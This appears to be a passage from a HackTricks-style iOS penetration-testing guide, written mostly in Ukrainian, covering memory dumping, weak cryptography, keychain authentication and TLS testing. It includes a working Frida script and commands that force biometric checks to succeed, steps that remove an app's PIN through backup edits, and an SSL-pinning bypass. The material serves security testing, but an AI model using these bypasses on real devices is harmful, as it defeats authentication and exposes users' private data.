Зміна поведінки додатку

An example of altering app behavior through backup modifications is demonstrated in the Bither bitcoin wallet app, where the UI lock PIN is stored within net.bither.plist under the pin_code key. Removing this key from the plist and restoring the backup removes the PIN requirement, providing unrestricted access.

Підсумок тестування пам’яті для чутливих даних

When dealing with sensitive information stored in an application’s memory, it is crucial to limit the exposure time of this data. There are two primary approaches to investigate memory content: creating a memory dump and analyzing the memory in real time. Both methods have their challenges, including the potential to miss critical data during the dump process or analysis.

Отримання та аналіз дампу пам’яті

For both jailbroken and non-jailbroken devices, tools like objection and Fridump allow for the dumping of an app’s process memory. Once dumped, analyzing this data requires various tools, depending on the nature of the information you’re searching for.

To extract strings from a memory dump, commands such as strings or rabin2 -zz can be used:

# Extracting strings using strings command
$ strings memory > strings.txt

# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt

Для більш детального аналізу, включно з пошуком конкретних типів даних або шаблонів, radare2 пропонує розширені можливості пошуку:

$ r2 <name_of_your_dump_file>
[0x00000000]> /?
...

Аналіз пам’яті під час виконання

r2frida надає потужну альтернативу для інспектування пам’яті додатка в режимі реального часу, без необхідності memory dump. Цей інструмент дозволяє виконувати команди пошуку безпосередньо в пам’яті запущеного додатка:

$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>

Broken Cryptography

Poor Key Management Processes

Деякі розробники зберігають чутливі дані в local storage і шифрують їх ключем, який є hardcoded/predictable у коді. Так робити не слід, оскільки під час reversing зловмисники можуть витягти конфіденційну інформацію.

Use of Insecure and/or Deprecated Algorithms

Розробники не повинні використовувати deprecated algorithms для виконання авторизаційних checks, для store або send даних. Деякі з таких алгоритмів: RC4, MD4, MD5, SHA1… Якщо, наприклад, для зберігання паролів використовуються hashes, слід застосовувати brute-force resistant хеші з salt.

Check

Основні перевірки — це пошук hardcoded паролів/секретів у коді, перевірка чи вони predictable, а також чи використовує код якісь weak cryptography алгоритми.

Цікаво знати, що ви можете автоматично monitor деякі crypto libraries за допомогою objection з:

ios monitor crypt

Для докладнішої інформації про криптографічні API та бібліотеки iOS зверніться до https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography

Локальна автентифікація

Локальна автентифікація відіграє важливу роль, особливо коли йдеться про захист доступу на віддаленому кінці за допомогою криптографічних методів. Суть у тому, що без правильної реалізації механізми локальної автентифікації можуть бути обійдені.

Apple надає [Local Authentication framework] та [keychain], які відповідно полегшують показ діалогів автентифікації користувача і безпечно обробляють секретні дані. Secure Enclave захищає ідентифікатор відбитка пальця для Touch ID, тоді як Face ID використовує розпізнавання обличчя, не піддаючи ризику біометричні дані.

Щоб інтегрувати Touch ID/Face ID, розробники мають два варіанти API:

  • LocalAuthentication.framework для високорівневої автентифікації користувача без доступу до біометричних даних.
  • Security.framework для доступу до низькорівневих сервісів keychain, що захищають секретні дані за допомогою біометричної автентифікації. Різні open-source wrappers спрощують доступ до keychain.

Caution

Однак обидва LocalAuthentication.framework та Security.framework мають вразливості, оскільки вони в основному повертають булеві значення без передачі даних для процесів автентифікації, що робить їх уразливими до обходу (див. Don’t touch me that way, by David Lindner et al).

Реалізація локальної автентифікації

Щоб запросити користувача пройти автентифікацію, розробники повинні використовувати метод evaluatePolicy у класі LAContext, обираючи між:

  • deviceOwnerAuthentication: Запитує Touch ID або device passcode, з помилкою якщо жоден із них не увімкнений.
  • deviceOwnerAuthenticationWithBiometrics: Викликає лише Touch ID.

Успішна автентифікація позначається булевим значенням, яке повертає evaluatePolicy, що вказує на потенційну вразливість безпеки.

Локальна автентифікація з використанням keychain

Реалізація локальної автентифікації в iOS-додатках передбачає використання keychain APIs для безпечного зберігання секретних даних, таких як токени автентифікації. Це забезпечує доступ до даних лише для користувача, який може підтвердити свою особу за допомогою пароля пристрою або біометричної автентифікації (наприклад, Touch ID).

Keychain дозволяє встановлювати елементи з атрибутом SecAccessControl, який обмежує доступ до елемента до тих пір, поки користувач успішно не аутентифікується через Touch ID або пароль пристрою. Ця можливість є критичною для підвищення рівня безпеки.

Нижче наведено приклади коду на Swift та Objective-C, які демонструють, як зберегти та отримати рядок у/з keychain, використовуючи ці механізми безпеки. Приклади конкретно показують, як налаштувати access control, щоб вимагати автентифікацію через Touch ID і забезпечити доступність даних лише на пристрої, де вони були створені, за умови, що пароль пристрою налаштований.

// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md

// 1. create AccessControl object that will represent authentication settings

var error: Unmanaged<CFError>?

guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object

return
}

// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute

var query: [String: Any] = [:]

query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl

// 3. save item

let status = SecItemAdd(query as CFDictionary, nil)

if status == noErr {
// successfully saved
} else {
// error while saving
}

Тепер ми можемо запросити збережений елемент з keychain. Keychain services відобразить діалог автентифікації користувачу і поверне data або nil залежно від того, чи було надано відповідний відбиток пальця.

// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString

// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}

if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}

Виявлення

Використання фреймворків у додатку також можна виявити, проаналізувавши список спільних динамічних бібліотек бінарного файлу додатку. Це можна зробити за допомогою otool:

$ otool -L <AppName>.app/<AppName>

Якщо в додатку використовується LocalAuthentication.framework, вивід міститиме обидва наведених нижче рядки (пам’ятайте, що LocalAuthentication.framework під капотом використовує Security.framework):

/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security

Якщо використовується Security.framework, буде показано лише другий.

Local Authentication Framework Bypass

Objection

За допомогою Objection Biometrics Bypass, розміщеного на this GitHub page, доступна техніка для обходу механізму LocalAuthentication. Суть підходу полягає у використанні Frida для маніпуляції функцією evaluatePolicy, щоб вона постійно повертала значення True незалежно від реального результату автентифікації. Це особливо корисно для обходу ненадійних біометричних механізмів автентифікації.

Щоб активувати цей bypass, використовується наступна команда:

...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete

Ця команда запускає послідовність, в якій Objection реєструє задачу, яка фактично змінює результат перевірки evaluatePolicy на True.

Frida

Приклад використання evaluatePolicy з DVIA-v2 application:

+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";

if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}

Щоб досягти bypass Local Authentication, написано Frida-скрипт. Цей скрипт націлюється на перевірку evaluatePolicy, перехоплюючи її callback, щоб забезпечити повернення success=1. Змінивши поведінку callback, перевірка автентифікації фактично обходиться.

Нижченаведений скрипт ін’єктується, щоб змінити результат методу evaluatePolicy. Він змінює результат callback так, щоб він завжди вказував на успіх.

// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value)  {

console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}

Щоб інжектувати скрипт Frida та обійти biometric authentication, використовується наступна команда:

frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js

Викриття чутливої функціональності через IPC

Custom URI Handlers / Deeplinks / Custom Schemes

iOS Custom URI Handlers / Deeplinks / Custom Schemes

iOS Universal Links

UIActivity Sharing

iOS UIActivity Sharing

UIPasteboard

iOS UIPasteboard

App Extensions

iOS App Extensions

WebViews

iOS WebViews

Serialisation and Encoding

iOS Serialisation and Encoding

Network Communication

Важливо перевірити, що жодна передача не відбувається без шифрування і що додаток правильно перевіряє TLS сертифікат сервера.
Для перевірки таких проблем можна використовувати проксі, наприклад Burp:

iOS Burp Suite Configuration

Перевірка імені хоста

Однією з поширених помилок при перевірці TLS сертифіката є те, що перевіряють, чи сертифікат підписаний довіреним CA, але не перевіряють, чи ім’я хоста в сертифікаті відповідає імені хоста, до якого здійснюється доступ.
Щоб перевірити цю проблему за допомогою Burp, після додавання Burp CA в iPhone, ви можете створити новий сертифікат за допомогою Burp для іншого імені хоста і використати його. Якщо додаток все ще працює, то він вразливий.

Certificate Pinning

Якщо додаток правильно використовує SSL Pinning, то він працюватиме лише якщо сертифікат відповідає очікуваному. Під час тестування це може бути проблемою, оскільки Burp видаватиме власний сертифікат.
Щоб обійти цей захист на jailbroken-пристрої, ви можете встановити додаток SSL Kill Switch або Burp Mobile Assistant

Також можна використати objection команду ios sslpinning disable

Misc

  • In /System/Library you can find the frameworks installed in the phone used by system applications
  • The applications installed by the user from the App Store are located inside /User/Applications
  • And the /User/Library contains data saved by the user level applications
  • You can access /User/Library/Notes/notes.sqlite to read the notes saved inside the application.
  • Inside the folder of an installed application (/User/Applications/<APP ID>/) you can find some interesting files:
  • iTunesArtwork: Іконка, яку використовує додаток
  • iTunesMetadata.plist: Інформація про додаток, що використовується в App Store
  • /Library/*: Містить налаштування та кеш. У /Library/Cache/Snapshots/* можна знайти знімок, зроблений для додатка перед відправленням його в бекграунд.

Hot Patching/Enforced Updateing

Розробники можуть віддалено миттєво патчити всі інсталяції свого додатку без необхідності повторно відправляти додаток в App Store та чекати схвалення.
Для цього зазвичай використовують JSPatch. Але є й інші опції, такі як Siren та react-native-appstore-version-checker.
Це небезпечний механізм, яким можуть зловживати шкідливі сторонні SDK, тому рекомендовано перевірити, який метод використовується для автоматичного оновлення (якщо такий є), і протестувати його. Для цього можна спробувати завантажити попередню версію додатка.

Third Parties

Суттєвою проблемою зі 3rd party SDKs є відсутність детального контролю над їхніми можливостями. Розробники стоять перед вибором: інтегрувати SDK і прийняти всі його функції, включно з потенційними вразливостями та проблемами приватності, або відмовитися від його переваг повністю. Часто розробники не можуть самі виправити вразливості в цих SDK. Крім того, коли SDK набувають довіри в спільноті, деякі з них можуть почати містити шкідливе ПЗ.

Сервіси, які надають сторонні SDK, можуть включати відстеження поведінки користувачів, показ реклами або покращення користувацького досвіду. Проте це створює ризик, оскільки розробники можуть не мати повного уявлення про код, що виконується цими бібліотеками, що призводить до потенційних загроз приватності та безпеці. Вкрай важливо обмежити інформацію, яку передають стороннім сервісам, лише необхідним обсягом і гарантувати, що жодні чутливі дані не будуть розкриті.

Імплементація сторонніх сервісів зазвичай буває двох типів: автономна бібліотека або повноцінний SDK. Щоб захистити приватність користувачів, будь-які дані, що передаються цим сервісам, повинні бути анонімізовані, щоб запобігти розкриттю Personal Identifiable Information (PII).

Щоб ідентифікувати бібліотеки, які використовує додаток, можна використовувати команду otool. Цей інструмент слід запускати щодо самого додатка та кожної shared library, яку він використовує, щоб виявити додаткові бібліотеки.

otool -L <application_path>

Цікаві вразливості та кейс-дослідження

Air Keyboard Remote Input Injection

Itunesstored Bookassetd Sandbox Escape

Zero Click Messaging Image Parser Chains

Посилання та додаткові ресурси

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks